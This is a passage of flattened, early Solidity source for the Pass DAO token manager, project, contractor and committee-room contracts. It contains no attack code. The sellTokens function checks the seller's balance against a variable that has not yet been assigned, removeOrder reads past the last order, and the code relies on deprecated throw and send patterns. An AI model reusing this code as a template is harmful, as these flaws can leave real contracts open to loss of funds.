allowed[_from][msg.sender] -= _value; return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; return true; } } pragma solidity ^0.4.8; /* * * This file is part of Pass DAO. * * The Manager smart contract is used for the management of the Dao account, shares and tokens. * */ /// @title Manager smart contract of the Pass Decentralized Autonomous Organisation contract PassManager is PassTokenManager { struct order { address buyer; uint weiGiven; } // Orders to buy tokens order[] public orders; // Number or orders to buy tokens uint numberOfOrders; // Map to know if an order was cloned from the precedent manager after an upgrade mapping (uint => bool) orderCloned; function PassManager( PassDao _passDao, address _clonedFrom, string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, bool _token, bool _transferable, uint _initialPriceMultiplier, uint _inflationRate) PassTokenManager( _passDao, _clonedFrom, _tokenName, _tokenSymbol, _tokenDecimals, _token, _transferable, _initialPriceMultiplier, _inflationRate) { } /// @notice Function to receive payments function () payable onlyShareManager { } /// @notice Function used by the client to send ethers /// @param _recipient The address to send to /// @param _amount The amount (in wei) to send /// @return Whether the transfer was successful or not function sendTo( address _recipient, uint _amount ) external onlyClient returns (bool) { if (_recipient.send(_amount)) return true; else return false; } /// @dev Internal function to buy tokens and promote a proposal /// @param _proposalID The index of the proposal /// @param _buyer The address of the buyer /// @param _date The unix date to consider for the share or token price calculation /// @param _presale True if presale /// @return Whether the function was successful or not function buyTokensFor( uint _proposalID, address _buyer, uint _date, bool _presale) internal returns (bool) { if (_proposalID == 0 || !sale(_proposalID, _buyer, msg.value, _date, _presale)) throw; fundings[_proposalID].totalWeiGiven += msg.value; if (fundings[_proposalID].totalWeiGiven == fundings[_proposalID].amountToFund) closeFunding(_proposalID); Given[_proposalID][_buyer].weiAmount += msg.value; return true; } /// @notice Function to buy tokens and promote a proposal /// @param _proposalID The index of the proposal /// @param _buyer The address of the buyer (not mandatory, msg.sender if 0) /// @return Whether the function was successful or not function buyTokensForProposal( uint _proposalID, address _buyer) payable returns (bool) { if (_buyer == 0) _buyer = msg.sender; if (fundings[_proposalID].moderator != 0) throw; return buyTokensFor(_proposalID, _buyer, now, true); } /// @notice Function used by the moderator to buy shares or tokens /// @param _proposalID Index of the client proposal /// @param _buyer The address of the recipient of shares or tokens /// @param _date The unix date to consider for the share or token price calculation /// @param _presale True if presale /// @return Whether the function was successful or not function buyTokenFromModerator( uint _proposalID, address _buyer, uint _date, bool _presale) payable external returns (bool){ if (msg.sender != fundings[_proposalID].moderator) throw; return buyTokensFor(_proposalID, _buyer, _date, _presale); } /// @dev Internal function to create a buy order /// @param _buyer The address of the buyer /// @param _weiGiven The amount in wei given by the buyer function addOrder( address _buyer, uint _weiGiven) internal { uint i; numberOfOrders += 1; if (numberOfOrders > orders.length) i = orders.length++; else i = numberOfOrders - 1; orders[i].buyer = _buyer; orders[i].weiGiven = _weiGiven; } /// @dev Internal function to remove a buy order /// @param _order The index of the order to remove function removeOrder(uint _order) internal { if (numberOfOrders - 1 < _order) return; numberOfOrders -= 1; if (numberOfOrders > 0) { for (uint i = _order; i <= numberOfOrders - 1; i++) { orders[i].buyer = orders[i+1].buyer; orders[i].weiGiven = orders[i+1].weiGiven; } } orders[numberOfOrders].buyer = 0; orders[numberOfOrders].weiGiven = 0; } /// @notice Function to create orders to buy tokens /// @return Whether the function was successful or not function buyTokens() payable returns (bool) { if (!transferable || msg.value < 100 finney) throw; addOrder(msg.sender, msg.value); return true; } /// @notice Function to sell tokens /// @param _tokenAmount in tokens to sell /// @param _from Index of the first order /// @param _to Index of the last order /// @return the revenue in wei function sellTokens( uint _tokenAmount, uint _from, uint _to) returns (uint) { if (!transferable || uint(balances[msg.sender]) < _amount || numberOfOrders == 0) throw; if (_to == 0 || _to > numberOfOrders - 1) _to = numberOfOrders - 1; uint _tokenAmounto; uint _amount; uint _totalAmount; uint o = _from; for (uint i = _from; i <= _to; i++) { if (_tokenAmount > 0 && orders[o].buyer != msg.sender) { _tokenAmounto = TokenAmount(orders[o].weiGiven, priceMultiplier(0), actualPriceDivisor(0)); if (_tokenAmount >= _tokenAmounto && transferFromTo(msg.sender, orders[o].buyer, _tokenAmounto)) { _tokenAmount -= _tokenAmounto; _totalAmount += orders[o].weiGiven; removeOrder(o); } else if (_tokenAmount < _tokenAmounto && transferFromTo(msg.sender, orders[o].buyer, _tokenAmount)) { _amount = weiAmount(_tokenAmount, priceMultiplier(0), actualPriceDivisor(0)); orders[o].weiGiven -= _amount; _totalAmount += _amount; i = _to + 1; } else o += 1; } else o += 1; } if (!msg.sender.send(_totalAmount)) throw; else return _totalAmount; } /// @notice Function to remove your orders and refund /// @param _from Index of the first order /// @param _to Index of the last order /// @return Whether the function was successful or not function removeOrders( uint _from, uint _to) returns (bool) { if (_to == 0 || _to > numberOfOrders) _to = numberOfOrders -1; uint _totalAmount; uint o = _from; for (uint i = _from; i <= _to; i++) { if (orders[o].buyer == msg.sender) { _totalAmount += orders[o].weiGiven; removeOrder(o); } else o += 1; } if (!msg.sender.send(_totalAmount)) throw; else return true; } } pragma solidity ^0.4.8; /* * * This file is part of Pass DAO. * * The Project smart contract is used for the management of the Pass Dao projects. * */ /// @title Project smart contract of the Pass Decentralized Autonomous Organisation contract PassProject { // The Pass Dao smart contract PassDao public passDao; // The project name string public name; // The project description string public description; // The Hash Of the project Document bytes32 public hashOfTheDocument; // The project manager smart contract address projectManager; struct order { // The address of the contractor smart contract address contractorAddress; // The index of the contractor proposal uint contractorProposalID; // The amount of the order uint amount; // The date of the order uint orderDate; } // The orders of the Dao for this project order[] public orders; // The total amount of orders in wei for this project uint public totalAmountOfOrders; struct resolution { // The name of the resolution string name; // A description of the resolution string description; // The date of the resolution uint creationDate; } // Resolutions of the Dao for this project resolution[] public resolutions; // Events event OrderAdded(address indexed Client, address indexed ContractorAddress, uint indexed ContractorProposalID, uint Amount, uint OrderDate); event ProjectDescriptionUpdated(address indexed By, string NewDescription, bytes32 NewHashOfTheDocument); event ResolutionAdded(address indexed Client, uint indexed ResolutionID, string Name, string Description); // Constant functions /// @return the actual committee room of the Dao function Client() constant returns (address) { return passDao.ActualCommitteeRoom(); } /// @return The number of orders function numberOfOrders() constant returns (uint) { return orders.length - 1; } /// @return The project Manager address function ProjectManager() constant returns (address) { return projectManager; } /// @return The number of resolutions function numberOfResolutions() constant returns (uint) { return resolutions.length - 1; } // modifiers // Modifier for project manager functions modifier onlyProjectManager {if (msg.sender != projectManager) throw; _;} // Modifier for the Dao functions modifier onlyClient {if (msg.sender != Client()) throw; _;} // Constructor function function PassProject( PassDao _passDao, string _name, string _description, bytes32 _hashOfTheDocument) { passDao = _passDao; name = _name; description = _description; hashOfTheDocument = _hashOfTheDocument; orders.length = 1; resolutions.length = 1; } // Internal functions /// @dev Internal function to register a new order /// @param _contractorAddress The address of the contractor smart contract /// @param _contractorProposalID The index of the contractor proposal /// @param _amount The amount in wei of the order /// @param _orderDate The date of the order function addOrder( address _contractorAddress, uint _contractorProposalID, uint _amount, uint _orderDate) internal { uint _orderID = orders.length++; order d = orders[_orderID]; d.contractorAddress = _contractorAddress; d.contractorProposalID = _contractorProposalID; d.amount = _amount; d.orderDate = _orderDate; totalAmountOfOrders += _amount; OrderAdded(msg.sender, _contractorAddress, _contractorProposalID, _amount, _orderDate); } // Setting functions /// @notice Function to allow cloning orders in case of upgrade /// @param _contractorAddress The address of the contractor smart contract /// @param _contractorProposalID The index of the contractor proposal /// @param _orderAmount The amount in wei of the order /// @param _lastOrderDate The unix date of the last order function cloneOrder( address _contractorAddress, uint _contractorProposalID, uint _orderAmount, uint _lastOrderDate) { if (projectManager != 0) throw; addOrder(_contractorAddress, _contractorProposalID, _orderAmount, _lastOrderDate); } /// @notice Function to set the project manager /// @param _projectManager The address of the project manager smart contract /// @return True if successful function setProjectManager(address _projectManager) returns (bool) { if (_projectManager == 0 || projectManager != 0) return; projectManager = _projectManager; return true; } // Project manager functions /// @notice Function to allow the project manager updating the description of the project /// @param _projectDescription A description of the project /// @param _hashOfTheDocument The hash of the last document function updateDescription(string _projectDescription, bytes32 _hashOfTheDocument) onlyProjectManager { description = _projectDescription; hashOfTheDocument = _hashOfTheDocument; ProjectDescriptionUpdated(msg.sender, _projectDescription, _hashOfTheDocument); } // Client functions /// @dev Function to allow the Dao to register a new order /// @param _contractorAddress The address of the contractor smart contract /// @param _contractorProposalID The index of the contractor proposal /// @param _amount The amount in wei of the order function newOrder( address _contractorAddress, uint _contractorProposalID, uint _amount) onlyClient { addOrder(_contractorAddress, _contractorProposalID, _amount, now); } /// @dev Function to allow the Dao to register a new resolution /// @param _name The name of the resolution /// @param _description The description of the resolution function newResolution( string _name, string _description) onlyClient { uint _resolutionID = resolutions.length++; resolution d = resolutions[_resolutionID]; d.name = _name; d.description = _description; d.creationDate = now; ResolutionAdded(msg.sender, _resolutionID, d.name, d.description); } } contract PassProjectCreator { event NewPassProject(PassDao indexed Dao, PassProject indexed Project, string Name, string Description, bytes32 HashOfTheDocument); /// @notice Function to create a new Pass project /// @param _passDao The Pass Dao smart contract /// @param _name The project name /// @param _description The project description (not mandatory, can be updated after by the creator) /// @param _hashOfTheDocument The Hash Of the project Document (not mandatory, can be updated after by the creator) function createProject( PassDao _passDao, string _name, string _description, bytes32 _hashOfTheDocument ) returns (PassProject) { PassProject _passProject = new PassProject(_passDao, _name, _description, _hashOfTheDocument); NewPassProject(_passDao, _passProject, _name, _description, _hashOfTheDocument); return _passProject; } } pragma solidity ^0.4.8; /* * * This file is part of Pass DAO. * * The Project smart contract is used for the management of the Pass Dao projects. * */ /// @title Contractor smart contract of the Pass Decentralized Autonomous Organisation contract PassContractor { // The project smart contract PassProject passProject; // The address of the creator of this smart contract address public creator; // Address of the recipient; address public recipient; // End date of the setup procedure uint public smartContractStartDate; struct proposal { // Amount (in wei) of the proposal uint amount; // A description of the proposal string description; // The hash of the proposal's document bytes32 hashOfTheDocument; // A unix timestamp, denoting the date when the proposal was created uint dateOfProposal; // The amount submitted to a vote uint submittedAmount; // The sum amount (in wei) ordered for this proposal uint orderAmount; // A unix timestamp, denoting the date of the last order for the approved proposal uint dateOfLastOrder; } // Proposals to work for Pass Dao proposal[] public proposals; // Events event RecipientUpdated(address indexed By, address LastRecipient, address NewRecipient); event Withdrawal(address indexed By, address indexed Recipient, uint Amount); event ProposalAdded(address Creator, uint indexed ProposalID, uint Amount, string Description, bytes32 HashOfTheDocument); event ProposalSubmitted(address indexed Client, uint Amount); event Order(address indexed Client, uint indexed ProposalID, uint Amount); // Constant functions /// @return the actual committee room of the Dao function Client() constant returns (address) { return passProject.Client(); } /// @return the project smart contract function Project() constant returns (PassProject) { return passProject; } /// @notice Function used by the client to check the proposal before submitting /// @param _sender The creator of the Dao proposal /// @param _proposalID The index of the proposal /// @param _amount The amount of the proposal /// @return true if the proposal can be submitted function proposalChecked( address _sender, uint _proposalID, uint _amount) constant external onlyClient returns (bool) { if (_sender != recipient && _sender != creator) return; if (_amount <= proposals[_proposalID].amount - proposals[_proposalID].submittedAmount) return true; } /// @return The number of proposals function numberOfProposals() constant returns (uint) { return proposals.length - 1; } // Modifiers // Modifier for contractor functions modifier onlyContractor {if (msg.sender != recipient) throw; _;} // Modifier for client functions modifier onlyClient {if (msg.sender != Client()) throw; _;} // Constructor function function PassContractor( address _creator, PassProject _passProject, address _recipient, bool _restore) { if (address(_passProject) == 0) throw; creator = _creator; if (_recipient == 0) _recipient = _creator; recipient = _recipient; passProject = _passProject; if (!_restore) smartContractStartDate = now; proposals.length = 1; } // Setting functions /// @notice Function to clone a proposal from the last contractor /// @param _amount Amount (in wei) of the proposal /// @param _description A description of the proposal /// @param _hashOfTheDocument The hash of the proposal's document /// @param _dateOfProposal A unix timestamp, denoting the date when the proposal was created /// @param _orderAmount The sum amount (in wei) ordered for this proposal /// @param _dateOfOrder A unix timestamp, denoting the date of the last order for the approved proposal /// @param _cloneOrder True if the order has to be cloned in the project smart contract /// @return Whether the function was successful or not function cloneProposal( uint _amount, string _description, bytes32 _hashOfTheDocument, uint _dateOfProposal, uint _orderAmount, uint _dateOfOrder, bool _cloneOrder ) returns (bool success) { if (smartContractStartDate != 0 || recipient == 0 || msg.sender != creator) throw; uint _proposalID = proposals.length++; proposal c = proposals[_proposalID]; c.amount = _amount; c.description = _description; c.hashOfTheDocument = _hashOfTheDocument; c.dateOfProposal = _dateOfProposal; c.orderAmount = _orderAmount; c.dateOfLastOrder = _dateOfOrder; ProposalAdded(msg.sender, _proposalID, _amount, _description, _hashOfTheDocument); if (_cloneOrder) passProject.cloneOrder(address(this), _proposalID, _orderAmount, _dateOfOrder); return true; } /// @notice Function to close the setting procedure and start to use this smart contract /// @return True if successful function closeSetup() returns (bool) { if (smartContractStartDate != 0 || (msg.sender != creator && msg.sender != Client())) return; smartContractStartDate = now; return true; } // Account Management /// @notice Function to update the recipent address /// @param _newRecipient The adress of the recipient function updateRecipient(address _newRecipient) onlyContractor { if (_newRecipient == 0) throw; RecipientUpdated(msg.sender, recipient, _newRecipient); recipient = _newRecipient; } /// @notice Function to receive payments function () payable { } /// @notice Function to allow contractors to withdraw ethers /// @param _amount The amount (in wei) to withdraw function withdraw(uint _amount) onlyContractor { if (!recipient.send(_amount)) throw; Withdrawal(msg.sender, recipient, _amount); } // Project Manager Functions /// @notice Function to allow the project manager updating the description of the project /// @param _projectDescription A description of the project /// @param _hashOfTheDocument The hash of the last document function updateProjectDescription(string _projectDescription, bytes32 _hashOfTheDocument) onlyContractor { passProject.updateDescription(_projectDescription, _hashOfTheDocument); } // Management of proposals /// @notice Function to make a proposal to work for the client /// @param _creator The address of the creator of the proposal /// @param _amount The amount (in wei) of the proposal /// @param _description String describing the proposal /// @param _hashOfTheDocument The hash of the proposal document /// @return The index of the contractor proposal function newProposal( address _creator, uint _amount, string _description, bytes32 _hashOfTheDocument ) external returns (uint) { if (msg.sender == Client() && _creator != recipient && _creator != creator) throw; if (msg.sender != Client() && msg.sender != recipient && msg.sender != creator) throw; if (_amount == 0) throw; uint _proposalID = proposals.length++; proposal c = proposals[_proposalID]; c.amount = _amount; c.description = _description; c.hashOfTheDocument = _hashOfTheDocument; c.dateOfProposal = now; ProposalAdded(msg.sender, _proposalID, c.amount, c.description, c.hashOfTheDocument); return _proposalID; } /// @notice Function used by the client to infor about the submitted amount /// @param _sender The address of the sender who submits the proposal /// @param _proposalID The index of the contractor proposal /// @param _amount The amount (in wei) submitted function submitProposal( address _sender, uint _proposalID, uint _amount) onlyClient { if (_sender != recipient && _sender != creator) throw; proposals[_proposalID].submittedAmount += _amount; ProposalSubmitted(msg.sender, _amount); } /// @notice Function used by the client to order according to the contractor proposal /// @param _proposalID The index of the contractor proposal /// @param _orderAmount The amount (in wei) of the order /// @return Whether the order was made or not function order( uint _proposalID, uint _orderAmount ) external onlyClient returns (bool) { proposal c = proposals[_proposalID]; uint _sum = c.orderAmount + _orderAmount; if (_sum > c.amount || _sum < c.orderAmount || _sum < _orderAmount) return; c.orderAmount = _sum; c.dateOfLastOrder = now; Order(msg.sender, _proposalID, _orderAmount); return true; } } contract PassContractorCreator { // Address of the pass Dao smart contract PassDao public passDao; // Address of the Pass Project creator PassProjectCreator public projectCreator; struct contractor { // The address of the creator of the contractor address creator; // The contractor smart contract PassContractor contractor; // The address of the recipient for withdrawals address recipient; // True if meta project bool metaProject; // The address of the existing project smart contract PassProject passProject; // The name of the project (if the project smart contract doesn't exist) string projectName; // A description of the project (can be updated after) string projectDescription; // The unix creation date of the contractor uint creationDate; } // contractors created to work for Pass Dao contractor[] public contractors; event NewPassContractor(address indexed Creator, address indexed Recipient, PassProject indexed Project, PassContractor Contractor); function PassContractorCreator(PassDao _passDao, PassProjectCreator _projectCreator) { passDao = _passDao; projectCreator = _projectCreator; contractors.length = 0; } /// @return The number of created contractors function numberOfContractors() constant returns (uint) { return contractors.length; } /// @notice Function to create a contractor smart contract /// @param _creator The address of the creator of the contractor /// @param _recipient The address of the recipient for withdrawals /// @param _metaProject True if meta project /// @param _passProject The address of the existing project smart contract /// @param _projectName The name of the project (if the project smart contract doesn't exist) /// @param _projectDescription A description of the project (can be updated after) /// @param _restore True if orders or proposals are to be cloned from other contracts /// @return The address of the created contractor smart contract function createContractor( address _creator, address _recipient, bool _metaProject, PassProject _passProject, string _projectName, string _projectDescription, bool _restore) returns (PassContractor) { PassProject _project; if (_creator == 0) _creator = msg.sender; if (_metaProject) _project = PassProject(passDao.MetaProject()); else if (address(_passProject) == 0) _project = projectCreator.createProject(passDao, _projectName, _projectDescription, 0); else _project = _passProject; PassContractor _contractor = new PassContractor(_creator, _project, _recipient, _restore); if (!_metaProject && address(_passProject) == 0 && !_restore) _project.setProjectManager(address(_contractor)); uint _contractorID = contractors.length++; contractor c = contractors[_contractorID]; c.creator = _creator; c.contractor = _contractor; c.recipient = _recipient; c.metaProject = _metaProject; c.passProject = _passProject; c.projectName = _projectName; c.projectDescription = _projectDescription; c.creationDate = now; NewPassContractor(_creator, _recipient, _project, _contractor); return _contractor; } } pragma solidity ^0.4.8; /* * * This file is part of Pass DAO. * /* Smart contract for a Decentralized Autonomous Organization (DAO) to automate organizational governance and decision-making. */ /// @title Pass Committee Room contract PassCommitteeRoomInterface { // The Pass Dao smart contract PassDao public passDao; enum ProposalTypes { contractor, resolution, rules, upgrade } struct Committee { // Address of the creator of the committee address creator; // The type of the proposal ProposalTypes proposalType; // Index to identify the proposal uint proposalID; // unix timestamp, denoting the end of the set period of a proposal before the committee uint setDeadline; // Fees (in wei) paid by the creator of the proposal uint fees; // Total of fees (in wei) rewarded to the voters uint totalRewardedAmount; // A unix timestamp, denoting the end of the voting period uint votingDeadline; // True if the proposal's votes have yet to be counted, otherwise False bool open; // A unix timestamp, denoting the date of the execution of the approved proposal uint dateOfExecution; // Number of shares in favor of the proposal uint yea; // Number of shares opposed to the proposal uint nay; } // Committees organized to vote for or against a proposal Committee[] public Committees; // mapping to indicate if a shareholder has voted at a committee or not mapping (uint => mapping (address => bool)) hasVoted; struct Proposal { // Index to identify the committee uint committeeID; // The contractor smart contract (not mandatory if funding) PassContractor contractor; // The index of the contractor proposal in the contractor contract (not mandatory if funding) uint contractorProposalID; // The amount of the proposal from the share manager balance (for funding or contractor proposals) uint amount; // The address which sets partners and manages the funding (not mandatory) address moderator; // Amount from the sale of shares (for funding or contractor proposals) uint amountForShares; // The initial price multiplier of Dao shares at the beginning of the funding (not mandatory) uint initialSharePriceMultiplier; // Amount from the sale of tokens (for project manager proposals) uint amountForTokens; // A unix timestamp, denoting the start time of the funding uint minutesFundingPeriod; // True if the proposal is closed bool open; } // Proposals to pay a contractor or/and fund the Dao Proposal[] public Proposals; struct Question { // Index to identify a committee uint committeeID; // The project smart contract PassProject project; // The name of the question for display purpose string name; // A description of the question string description; } // Questions submitted to a vote by the shareholders Question[] public ResolutionProposals; struct Rules { // Index to identify a committee uint committeeID; // The quorum needed for each proposal is calculated by totalSupply / minQuorumDivisor uint minQuorumDivisor; // Minimum fees (in wei) to create a proposal uint minCommitteeFees; // Minimum percentage of votes for a proposal to reward the creator uint minPercentageOfLikes; // Period in minutes to consider or set a proposal before the voting procedure uint minutesSetProposalPeriod; // The minimum debate period in minutes that a generic proposal can have uint minMinutesDebatePeriod; // The inflation rate to calculate the reward of fees to voters uint feesRewardInflationRate; // The inflation rate to calculate the token price (for project manager proposals) uint tokenPriceInflationRate; // The default minutes funding period uint defaultMinutesFundingPeriod; } // Proposals to update the committee rules Rules[] public rulesProposals; struct Upgrade { // Index to identify a committee uint committeeID; // Address of the proposed Committee Room smart contract address newCommitteeRoom; // Address of the proposed share manager smart contract address newShareManager; // Address of the proposed token manager smart contract address newTokenManager; } // Proposals to upgrade Upgrade[] public UpgradeProposals; // The minimum periods in minutes uint minMinutesPeriods; // The maximum inflation rate for token price or rewards to voters uint maxInflationRate; /// @return the effective share manager function ShareManager() constant returns (PassManager); /// @return the effective token manager function TokenManager() constant returns (PassManager); /// return the balance of the DAO function Balance() constant returns (uint); /// @param _committeeID The index of the committee /// @param _shareHolder The shareholder (not mandatory, default : msg.sender) /// @return true if the shareholder has voted at the committee function HasVoted( uint _committeeID, address _shareHolder) constant external returns (bool); /// @return The minimum quorum for proposals to pass function minQuorum() constant returns (uint); /// @return The number of committees function numberOfCommittees() constant returns (uint); /// @dev The constructor function /// @param _passDao Address of Pass Dao //function PassCommitteeRoom(address _passDao); /// @notice Function to init an set the committee rules /// @param _maxInflationRate The maximum inflation rate for contractor and funding proposals /// @param _minMinutesPeriods The minimum periods in minutes /// @param _minQuorumDivisor The initial minimum quorum divisor for the proposals /// @param _minCommitteeFees The minimum amount (in wei) to make a proposal /// @param _minPercentageOfLikes Minimum percentage of votes for a proposal to reward the creator /// @param _minutesSetProposalPeriod The minimum period in minutes before a committee /// @param _minMinutesDebatePeriod The minimum period in minutes of the board meetings /// @param _feesRewardInflationRate The inflation rate to calculate the reward of fees to voters during a committee /// @param _tokenPriceInflationRate The inflation rate to calculate the token price for project manager proposals /// @param _defaultMinutesFundingPeriod Default period in minutes of the funding function init( uint _maxInflationRate, uint _minMinutesPeriods, uint _minQuorumDivisor, uint _minCommitteeFees, uint _minPercentageOfLikes, uint _minutesSetProposalPeriod, uint _minMinutesDebatePeriod, uint _feesRewardInflationRate, uint _tokenPriceInflationRate, uint _defaultMinutesFundingPeriod); /// @notice Function to create a contractor smart contract /// @param _contractorCreator The contractor creator smart contract /// @param _recipient The recipient of the contractor smart contract /// @param _metaProject True if meta project /// @param _passProject The project smart contract (not mandatory) /// @param _projectName The name of the project (if the project smart contract doesn't exist) /// @param _projectDescription A description of the project (not mandatory, can be updated after) /// @return The contractor smart contract function createContractor( PassContractorCreator _contractorCreator, address _recipient, bool _metaProject, PassProject _passProject, string _projectName, string _projectDescription) returns (PassContractor); /// @notice Function to make a proposal to pay a contractor or/and fund the Dao /// @param _amount Amount of the proposal /// @param _contractor The contractor smart contract /// @param _contractorProposalID Index of the contractor proposal in the contractor smart contract (not mandatory) /// @param _proposalDescription String describing the proposal (if not existing proposal) /// @param _hashOfTheContractorProposalDocument The hash of the Contractor proposal document (if not existing proposal) /// @param _moderator The address which sets partners and manage the funding (not mandatory) /// @param _initialSharePriceMultiplier The initial price multiplier of shares (for funding or contractor proposals) /// @param _minutesFundingPeriod Period in minutes of the funding (not mandatory) /// @param _minutesDebatingPeriod Period in minutes of the board meeting to vote on the proposal (not mandatory) /// @return The index of the proposal function contractorProposal( uint _amount, PassContractor _contractor, uint _contractorProposalID, string _proposalDescription, bytes32 _hashOfTheContractorProposalDocument, address _moderator, uint _initialSharePriceMultiplier, uint _minutesFundingPeriod, uint _minutesDebatingPeriod) payable returns (uint); /// @notice Function to submit a question /// @param _name Name of the question for display purpose /// @param _description A description of the question /// @param _project The project smart contract /// @param _minutesDebatingPeriod Period in minutes of the board meeting to vote on the proposal /// @return The index of the proposal function resolutionProposal( string _name, string _description, PassProject _project, uint _minutesDebatingPeriod) payable returns (uint); /// @notice Function to make a proposal to change the rules of the committee room /// @param _minQuorumDivisor If 5, the minimum quorum is 20% /// @param _minCommitteeFees The minimum amount (in wei) to make a proposal /// @param _minPercentageOfLikes Minimum percentage of votes for a proposal to reward the creator /// @param _minutesSetProposalPeriod Minimum period in minutes before a committee /// @param _minMinutesDebatePeriod The minimum period in minutes of the committees /// @param _feesRewardInflationRate The inflation rate to calculate the reward of fees to voters during a committee /// @param _defaultMinutesFundingPeriod Period in minutes of the funding /// @param _tokenPriceInflationRate The inflation rate to calculate the token price for project manager proposals /// @return The index of the proposal function rulesProposal( uint _minQuorumDivisor, uint _minCommitteeFees, uint _minPercentageOfLikes, uint _minutesSetProposalPeriod, uint _minMinutesDebatePeriod, uint _feesRewardInflationRate, uint _defaultMinutesFundingPeriod, uint _tokenPriceInflationRate) payable returns (uint); /// @notice Function to make a proposal to upgrade the application /// @param _newCommitteeRoom Address of a new Committee Room smart contract (not mandatory) /// @param _newShareManager Address of a new share manager smart contract (not mandatory) /// @param _newTokenManager Address of a new token manager smart contract (not mandatory) /// @param _minutesDebatingPeriod Period in minutes of the committee to vote on the proposal (not mandatory) /// @return The index of the proposal function upgradeProposal( address _newCommitteeRoom, address _newShareManager, address _newTokenManager, uint _minutesDebatingPeriod) payable returns (uint); /// @dev Internal function to create a committee /// @param _proposalType The type of the proposal /// @param _proposalID The index of the proposal /// @param _minutesDebatingPeriod The duration in minutes of the committee /// @return the index of the board meeting function newCommittee( ProposalTypes _proposalType, uint _proposalID, uint _minutesDebatingPeriod) internal returns (uint); /// @notice Function to vote for or against a proposal during a committee /// @param _committeeID The index of the committee /// @param _supportsProposal True if the proposal is supported function vote( uint _committeeID, bool _supportsProposal); /// @notice Function to execute a decision and close the committee /// @param _committeeID The index of the committee /// @return Whether the proposal was executed or not function executeDecision(uint _committeeID) returns (bool); /// @notice Function to order to a contractor and close a contractor proposal /// @param _proposalID The index of the proposal /// @return Whether the proposal was ordered and the proposal amount sent or not function orderToContractor(uint _proposalID) returns (bool); /// @notice Function to buy shares and or/and promote a contractor proposal /// @param _proposalID The index of the proposal /// @return Whether the function was successful or not function buySharesForProposal(uint _proposalID) payable returns (bool); /// @notice Function to send tokens or refund after the closing time of the funding proposals /// @param _from The first proposal. 0 if not linked to a proposal /// @param _to The last proposal /// @param _buyer The address of the buyer /// @return Whether the function was successful or not function sendPendingAmounts( uint _from, uint _to, address _buyer) returns (bool); /// @notice Function to receive tokens or refund after the closing time of the funding proposals /// @return Whether the function was successful or not function withdrawPendingAmounts() returns (bool); event CommitteeLimits(uint maxInflationRate, uint minMinutesPeriods); event ContractorCreated(PassContractorCreator Creator, address indexed Sender, PassContractor Contractor, address Recipient); event ProposalSubmitted(uint indexed ProposalID, uint CommitteeID, PassContractor indexed Contractor, uint indexed ContractorProposalID, uint Amount, string Description, address Moderator, uint SharePriceMultiplier, uint MinutesFundingPeriod); event ResolutionProposalSubmitted(uint indexed QuestionID, uint indexed CommitteeID, PassProject indexed Project, string Name, string Description); event RulesProposalSubmitted(uint indexed rulesProposalID, uint CommitteeID, uint MinQuorumDivisor, uint MinCommitteeFees, uint MinPercentageOfLikes, uint MinutesSetProposalPeriod, uint MinMinutesDebatePeriod, uint FeesRewardInflationRate, uint DefaultMinutesFundingPeriod, uint TokenPriceInflationRate); event UpgradeProposalSubmitted(uint indexed UpgradeProposalID, uint indexed CommitteeID, address NewCommitteeRoom, address NewShareManager, address NewTokenManager); event Voted(uint indexed CommitteeID, bool Position, address indexed Voter, uint RewardedAmount); event ProposalClosed(uint indexed ProposalID, ProposalTypes indexed ProposalType, uint CommitteeID, uint TotalRewardedAmount, bool ProposalExecuted, uint RewardedSharesAmount, uint SentToManager); event ContractorProposalClosed(uint indexed ProposalID, uint indexed ContractorProposalID, PassContractor indexed Contractor, uint AmountSent); event DappUpgraded(address NewCommitteeRoom, address NewShareManager, address NewTokenManager); } contract PassCommitteeRoom is PassCommitteeRoomInterface { // Constant functions function ShareManager() constant returns (PassManager) { return PassManager(passDao.ActualShareManager()); } function TokenManager() constant returns (PassManager) { return PassManager(passDao.ActualTokenManager()); } function Balance() constant returns (uint) { return passDao.ActualShareManager().balance; } function HasVoted( uint _committeeID, address _shareHolder) constant external returns (bool) { if (_shareHolder == 0) return hasVoted[_committeeID][msg.sender]; else return hasVoted[_committeeID][_shareHolder]; } function minQuorum() constant returns (uint) { return (uint(ShareManager().totalSupply()) / rulesProposals[0].minQuorumDivisor); } function numberOfCommittees() constant returns (uint) { return Committees.length - 1; } // Constructor and init functions function PassCommitteeRoom(address _passDao) { passDao = PassDao(_passDao); rulesProposals.length = 1; Committees.length = 1; Proposals.length = 1; ResolutionProposals.length = 1; UpgradeProposals.length = 1; } function init( uint _maxInflationRate, uint _minMinutesPeriods, uint _minQuorumDivisor, uint _minCommitteeFees, uint _minPercentageOfLikes, uint _minutesSetProposalPeriod, uint _minMinutesDebatePeriod, uint _feesRewardInflationRate, uint _tokenPriceInflationRate, uint _defaultMinutesFundingPeriod) { maxInflationRate = _maxInflationRate; minMinutesPeriods = _minMinutesPeriods; CommitteeLimits(maxInflationRate, minMinutesPeriods); if (rulesProposals[0].minQuorumDivisor != 0) throw; rulesProposals[0].minQuorumDivisor = _minQuorumDivisor; rulesProposals[0].minCommitteeFees = _minCommitteeFees; rulesProposals[0].minPercentageOfLikes = _minPercentageOfLikes; rulesProposals[0].minutesSetProposalPeriod = _minutesSetProposalPeriod; rulesProposals[0].minMinutesDebatePeriod = _minMinutesDebatePeriod; rulesProposals[0].feesRewardInflationRate = _feesRewardInflationRate; rulesProposals[0].tokenPriceInflationRate = _tokenPriceInflationRate; rulesProposals[0].defaultMinutesFundingPeriod = _defaultMinutesFundingPeriod; } // Project manager and contractor management function createContractor( PassContractorCreator _contractorCreator, address _recipient, bool _metaProject, PassProject _passProject, string _projectName, string _projectDescription) returns (PassContractor) { PassContractor _contractor = _contractorCreator.createContractor(msg.sender, _recipient, _metaProject, _passProject, _projectName, _projectDescription, false); ContractorCreated(_contractorCreator, msg.sender, _contractor, _recipient); return _contractor; } // Proposals Management function contractorProposal( uint _amount, PassContractor _contractor, uint _contractorProposalID, string _proposalDescription, bytes32 _hashOfTheContractorProposalDocument, address _moderator, uint _initialSharePriceMultiplier, uint _minutesFundingPeriod, uint _minutesDebatingPeriod ) payable returns (uint) { if (_minutesFundingPeriod == 0) _minutesFundingPeriod = rulesProposals[0].defaultMinutesFundingPeriod; if (address(_contractor) != 0 && _contractorProposalID != 0) { if (_hashOfTheContractorProposalDocument != 0 ||!_contractor.proposalChecked(msg.sender, _contractorProposalID, _amount)) throw; else _proposalDescription = "Proposal checked"; } if ((address(_contractor) != 0 && _contractorProposalID == 0 && _hashOfTheContractorProposalDocument == 0) || _amount == 0 || _minutesFundingPeriod < 